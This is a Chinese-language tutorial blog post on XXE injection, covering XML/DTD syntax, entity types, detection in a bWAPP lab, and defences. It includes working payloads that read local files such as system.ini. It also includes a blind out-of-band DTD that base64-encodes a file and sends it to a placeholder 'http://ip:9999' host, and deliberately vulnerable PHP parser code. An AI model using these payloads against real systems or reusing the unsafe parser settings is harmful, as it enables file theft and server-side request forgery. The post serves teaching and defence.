本文已参与 「新人创作礼」 活动,一起开启掘金创作之路。
XXE漏洞原理
1.XXE是什么
XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
xml实体注入就是利用了客户端返回xml提交数据时,注入远程调用xml实体的代码来实现一些想要的功能。
要想搞懂XXE,肯定要先了解XML语法规则和外部实体的定义及调用形式。
2.XML介绍
XML数据传输类型(同类:JSON 序列化)
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
语法规则:
1.所有的XML元素都必须有一个关闭标签
2.XML对大小写敏感
3.XML必须正确嵌套
4.属性值必须加引号“”
5.实体引用:<实体名></实体名>中两个括号有特殊意义,因此<表示为lt,>表示为gt.
6.空格保留:<p>A[空格]B</p> A和B之间的空格会被保留。
3.DTD介绍
ref:www.jianshu.com/p/77f218158…
DTD全称是The document type definition,即是文档类型定义, 可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
DTD可以是外部引用声明也可以内部声明
<!DOCTYPE 根元素[实体元素声明]> 内部实体
<!DOCTYOE 根元素 SYSTEM "文件名"> 外部实体
实体也可以在内部或外部声明
<!ENTITY 实体名称 "实体的值"> 内部实体
<!ENTITY 实体名称 SYSTEM "URL"> 外部实体
DTD数据类型
PCDATA:被解析的字符数据,不能解析明感字符&特殊字符
PCDATA:被解析的字符数据,是会被解析器解析的文本
CDATA:字符数据
CDATA:不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
4.实体分类
实体可以分为内部实体和外部实体,或者分为通用实体和参数实体。
1.内部实体
<!ENTITY 实体名称 "实体的值">
实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用。
2.外部实体
<!ENTITY 实体名称 SYSTEM "URL">
引用公用实体:
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
实体定义完我们需要引用才会调用我们的外部URL -----> &实体名称或 % 实体名称
通用实体(&)和参数实体(%)
3.通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用。
4.参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 来引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
示例:
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
参数实体在我们 Blind XXE 中起到了至关重要的作用
5.漏洞发现&利用
0.漏洞发现
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞.
测试点:http://169.254.4.52/bWAPP/xxe-1.php
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY test "testtest">]>
<reset><login>bee33333;&test;</login><secret>Any bugs?</secret></reset>
1.有回显读取本地敏感文件(Normal XXE)
在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件。
示例代码:xml.php
<?php libxml_disable_entity_loader (false);//libxml_disable_entity_loader设置为TRUE来替换外部实体 $xmlfile = file_get_contents('php://input');//文件读取协议,读取用户input文件的内容 $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds;?>
Payload:[POST]
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
结果可以读取出system.ini文件内容,但是如果文件中有<#>/等特殊字符时,XML将不能正确执行。
引用可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 <![CDATA["和 “]]>,但是好像没有任何语法告诉我们字符串能拼接的,于是想到了能不能使用多个实体连续引用的方法。[ref:xz.aliyun.com/t/3357]
Payload2.0:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [<!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///d:/test.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> %dtd; ]> <roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
现在也可输出需要转义的特殊字符了。【后期自己再手动验证下】
2.无回显读取本地敏感文件(Blind OOB XXE)
服务器上的 XML 就不是输出用的,一般都是用于配置或者在某些极端情况下利用其他漏洞能恰好实例化解析 XML 的类,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法------外带数据通道。(带外攻击)
xml.php:
<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>
编解码
php://filter/read=convert.base64-encode/resource=admin.php
CTF WriteUp:
6.危害&防御
危害:
1.执行本地主机防火墙出口过滤分析
2.执行DMZ主机防火墙出口过滤分析
3.执行主机操作系统指纹识别
4.执行主机Web应用程序平台指纹识别
5.对在同网段的计算机上执行主机Web应用程序平台指纹识别
6.对在同网段的机器上执行攻击
用途:
主要用来源码审计 可以读取到php文件源码
或者实现ssrf攻击
防御:
- 禁用外部实体
- 过滤和验证用户提交的XML数据
- 不允许XML中含有任何自己声明的DTD
- 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可